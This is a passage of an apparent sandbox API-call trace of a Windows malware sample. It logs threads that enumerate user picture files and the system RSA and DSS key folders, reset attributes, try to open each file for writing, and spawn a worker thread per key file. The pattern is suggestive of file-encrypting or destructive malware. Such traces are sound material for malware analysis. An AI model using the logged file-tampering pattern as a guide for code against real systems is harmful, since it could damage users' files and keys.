[0104.685] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile15.bmp")) returned 0x20 [0104.686] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp", dwFileAttributes=0x20) returned 0 [0104.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.686] GetLastError () returned 0x5 [0104.686] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp", dwFileAttributes=0x20) returned 0 [0104.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11760) returned 1 Thread: id = 995 os_tid = 0x1648 [0104.688] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile14.bmp")) returned 0x20 [0104.688] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp", dwFileAttributes=0x20) returned 0 [0104.688] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.688] GetLastError () returned 0x5 [0104.688] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp", dwFileAttributes=0x20) returned 0 [0104.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce111e0) returned 1 Thread: id = 996 os_tid = 0x1644 [0104.690] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile13.bmp")) returned 0x20 [0104.691] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp", dwFileAttributes=0x20) returned 0 [0104.691] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.691] GetLastError () returned 0x5 [0104.691] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp", dwFileAttributes=0x20) returned 0 [0104.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 Thread: id = 997 os_tid = 0x1640 [0104.746] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile12.bmp")) returned 0x20 [0104.746] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp", dwFileAttributes=0x20) returned 0 [0104.746] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.747] GetLastError () returned 0x5 [0104.747] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp", dwFileAttributes=0x20) returned 0 [0104.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 Thread: id = 998 os_tid = 0x163c [0104.748] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile11.bmp")) returned 0x20 [0104.749] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp", dwFileAttributes=0x20) returned 0 [0104.749] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.749] GetLastError () returned 0x5 [0104.749] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp", dwFileAttributes=0x20) returned 0 [0104.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 Thread: id = 999 os_tid = 0x1638 [0104.750] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile10.bmp")) returned 0x20 [0104.751] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0104.751] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.751] GetLastError () returned 0x5 [0104.751] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0104.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11130) returned 1 Thread: id = 1000 os_tid = 0x1634 [0104.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1cd0 [0104.753] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0104.753] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0104.753] wcscat (in: _Dest=0x1b7c1cd0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*" [0104.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0104.753] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858850 [0104.754] wcscmp (_String1=".", _String2=".") returned 0 [0104.754] FindNextFileW (in: hFindFile=0x1b858850, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.754] wcscmp (_String1="..", _String2=".") returned 1 [0104.754] wcscmp (_String1="..", _String2="..") returned 0 [0104.754] FindNextFileW (in: hFindFile=0x1b858850, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1 [0104.754] wcscmp (_String1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2=".") returned 1 [0104.754] wcscmp (_String1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2="..") returned 1 [0104.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799250 [0104.754] wcscpy (in: _Dest=0x1b799250, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0104.754] wcscat (in: _Dest=0x1b799250, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0104.755] wcscat (in: _Dest=0x1b799250, _Source="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0120.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b799250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280 [0120.430] FindNextFileW (in: hFindFile=0x1b858850, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 1 [0120.430] wcscmp (_String1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2=".") returned 1 [0120.430] wcscmp (_String1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2="..") returned 1 [0120.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799160 [0120.430] wcscpy (in: _Dest=0x1b799160, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0120.430] wcscat (in: _Dest=0x1b799160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0120.430] wcscat (in: _Dest=0x1b799160, _Source="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0120.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b799160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c [0120.431] FindNextFileW (in: hFindFile=0x1b858850, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 0 [0120.431] FindClose (in: hFindFile=0x1b858850 | out: hFindFile=0x1b858850) returned 1 [0120.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0120.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0120.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 Thread: id = 1001 os_tid = 0x1630 [0104.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced5be0 [0104.764] wcscpy (in: _Dest=0x1ced5be0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" [0104.764] wcscat (in: _Dest=0x1ced5be0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0104.764] wcscat (in: _Dest=0x1ced5be0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" [0104.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57190 [0104.764] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859330 [0104.765] wcscmp (_String1=".", _String2=".") returned 0 [0104.765] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.765] wcscmp (_String1="..", _String2=".") returned 1 [0104.765] wcscmp (_String1="..", _String2="..") returned 0 [0104.765] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.765] FindClose (in: hFindFile=0x1b859330 | out: hFindFile=0x1b859330) returned 1 [0104.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57190) returned 1 [0104.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5be0) returned 1 [0104.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb290) returned 1 Thread: id = 1002 os_tid = 0x162c [0104.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0xeb290 [0104.771] wcscpy (in: _Dest=0xeb290, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" [0104.771] wcscat (in: _Dest=0xeb290, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\" [0104.771] wcscat (in: _Dest=0xeb290, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" [0104.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57190 [0104.771] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859330 [0104.771] wcscmp (_String1=".", _String2=".") returned 0 [0104.771] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.772] wcscmp (_String1="..", _String2=".") returned 1 [0104.772] wcscmp (_String1="..", _String2="..") returned 0 [0104.772] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.772] FindClose (in: hFindFile=0x1b859330 | out: hFindFile=0x1b859330) returned 1 [0104.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57190) returned 1 [0104.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb290) returned 1 [0104.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b786270) returned 1 Thread: id = 1003 os_tid = 0x1670 [0106.278] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile24.bmp")) returned 0x20 [0106.280] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp", dwFileAttributes=0x20) returned 0 [0106.280] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.280] GetLastError () returned 0x5 [0106.280] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp", dwFileAttributes=0x20) returned 0 [0106.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11d90) returned 1 Thread: id = 1004 os_tid = 0x166c [0106.281] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile23.bmp")) returned 0x20 [0106.282] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp", dwFileAttributes=0x20) returned 0 [0106.282] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.282] GetLastError () returned 0x5 [0106.282] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp", dwFileAttributes=0x20) returned 0 [0106.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11ce0) returned 1 Thread: id = 1005 os_tid = 0x1668 [0106.284] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile22.bmp")) returned 0x20 [0106.284] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp", dwFileAttributes=0x20) returned 0 [0106.284] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.285] GetLastError () returned 0x5 [0106.285] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp", dwFileAttributes=0x20) returned 0 [0106.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11c30) returned 1 Thread: id = 1006 os_tid = 0x1664 [0106.287] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile21.bmp")) returned 0x20 [0106.288] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp", dwFileAttributes=0x20) returned 0 [0106.288] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.288] GetLastError () returned 0x5 [0106.288] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp", dwFileAttributes=0x20) returned 0 [0106.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11b80) returned 1 Thread: id = 1007 os_tid = 0x1660 [0106.289] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile20.bmp")) returned 0x20 [0106.290] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp", dwFileAttributes=0x20) returned 0 [0106.290] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.290] GetLastError () returned 0x5 [0106.290] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp", dwFileAttributes=0x20) returned 0 [0106.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11ad0) returned 1 Thread: id = 1008 os_tid = 0x165c [0106.292] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile19.bmp")) returned 0x20 [0106.293] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp", dwFileAttributes=0x20) returned 0 [0106.293] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.293] GetLastError () returned 0x5 [0106.293] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp", dwFileAttributes=0x20) returned 0 [0106.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 